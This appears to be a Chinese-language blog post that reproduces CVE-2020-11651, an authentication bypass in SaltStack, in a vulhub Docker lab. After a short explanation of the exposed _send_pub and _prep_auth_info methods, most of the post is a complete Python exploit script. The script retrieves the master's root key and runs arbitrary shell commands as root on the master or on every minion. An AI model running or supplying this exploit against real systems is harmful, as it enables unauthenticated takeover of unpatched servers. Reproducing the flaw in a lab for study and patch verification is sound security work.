CVE-2020-11651(身份验证绕过漏洞)
简述
漏洞原因:
SaltStack是python的架构开发工具
但是它的ClearFuncs类会处理非认证的请求和暴露_send_pub()方法,而且还会暴露_prep_auth_info()方法。
漏洞使用方法
攻击者可以通过构造恶意请求,绕过salt master 的验证逻辑,调用相关的未授权功能,从而造成远程命令执行漏洞。
ClearFuncs类处理未经身份验证的请求,并且无意中公开了_send_pub()方法,该方法可用于直接在master服务器上创建消息队列,此类消息可用于触发minions以root身份运行任意命令。
ClearFuncs类还公开了_prep_auth_info()方法,该方法返回用于验证master服务器上本地root用户命令的“root key”。可以使用此“root key”在主服务器上远程调用管理命令。这种无意的暴露为远程未经身份验证的攻击者提供了与salt-master相同的根访问权限。因此未经身份验证的远程攻击者可以使用此漏洞执行任意命令。
感谢
漏洞复现
先启动靶场
cd /vulhub/saltstack/CVE-2020-11651/
docker-compose up -d
docker ps
在安装salt(注意安装目录)
如果感觉安装慢的话
可以试试国内的
pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple salt
最后写脚本(还是要注意切换目录)
代码可以在GitHub上找,我这里有便捷的
cd /vulhub/saltstack/CVE-2020-11651/
vim 11651.py
import os
import sys
import salt
import salt.version
import salt.transport.client
import salt.exceptions
import datetime
def ping_master(): #构造恶意请求
print("Attempting to ping master at "+master_ip)
try:
msg = {"cmd":"ping"}
response = clear_channel.send(msg, timeout=3)# 这里处理send
if response:
return True
except salt.exceptions.SaltReqTimeoutError:
return False
return False
def get_rootkey():
try:
response = clear_channel.send({'cmd':'_prep_auth_info'}, timeout=2)# 处理prep,返回用来认证master服务器上本地root用户的root key
for i in response:
if isinstance(i,dict) and len(i) == 1:
rootkey = list(i.values())[0]
print("Retrieved root key: " + rootkey)
return rootkey
return False
except:
return False
#接下来就是远程调用master服务器的管理命令
def send_command_to_minions(command):
print("Sending command to all minions on master")
jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())
cmd = "/bin/sh -c '{0}'".format(command)
msg = {'cmd':"_send_pub","fun":"cmd.run","arg":[cmd],"tgt":"*","ret":"","tgt_type":"glob","user":"root","jid":jid}
try:
response = clear_channel.send(msg,timeout=3)
if response == None:
return True
else:
return False
except:
return False
def master_shell(root_key,command):
# This is achieved by using the stolen key to create a "runner" on the master node using the cmdmod module, then the cmd.exec_code function to run some python3 code that shells out.
# There is a cmd.shell function but I wasn't able to get it to accept the "cmd" kwarg parameter for some reason.
# It's also possible to use CVE-2020-11652 to get shell if the master instance is running as root by writing a crontab into a cron directory, or proably some other ways.
# This way is nicer though, and doesn't need the master to be running as root .
msg = {"key":root_key,
"cmd":"runner",
'fun': 'salt.cmd',
"kwarg":{
"fun":"cmd.exec_code",
"lang":"python3",
"code":"import subprocess;subprocess.call('{}',shell=True)".format(command)
},
'jid': '20200504042611133934',
'user': 'sudo_user',
'_stamp': '2020-05-04T04:26:13.609688'}
try:
response = clear_channel.send(msg,timeout=3)
print("Got response for attempting master shell: "+str(response)+ ". Looks promising!")
return True
except:
print("something failed")
return False
if __name__=="__main__":
if len(sys.argv) <= 2:
print("Not enough args")
print("Use like python3 cve-2020-11651.py <targetip> <master/minions/fetchkeyonly> <command>")
sys.exit(1)
target = sys.argv[1]
master_minion_root = sys.argv[2]
master_ip = target
master_port = '4506'
minion_config = {
'transport': 'zeromq',
'pki_dir': '/tmp',
'id': 'root',
'log_level': 'debug',
'master_ip': master_ip,
'master_port': master_port,
'auth_timeout': 5,
'auth_tries': 1,
'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
}
clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
if not ping_master():
print("Failed to ping the specified master server, exiting")
sys.exit(1)
if master_minion_root == "master" or master_minion_root == "minions":
command = sys.argv[3]
rootkey = get_rootkey()
if not rootkey:
print("Failed to fetch the root key from the instance. This MAY indicate that it is patched")
sys.exit(1)
else:
if master_minion_root == "master":
master_shell(rootkey,command)
else:
send_command_to_minions(command)
elif master_minion_root == "fetchkeyonly":
get_rootkey()
else:
print("Invalid usage")
完成之后就执行
python3 11651.py
当然,脚本可以自己写一个
问题
在完成的过程中注意,权限的转换
思考
获得权限之后可以做什么,或者说能做什么。
最后,如果觉得这篇博客有什么问题,欢迎评论区讨论。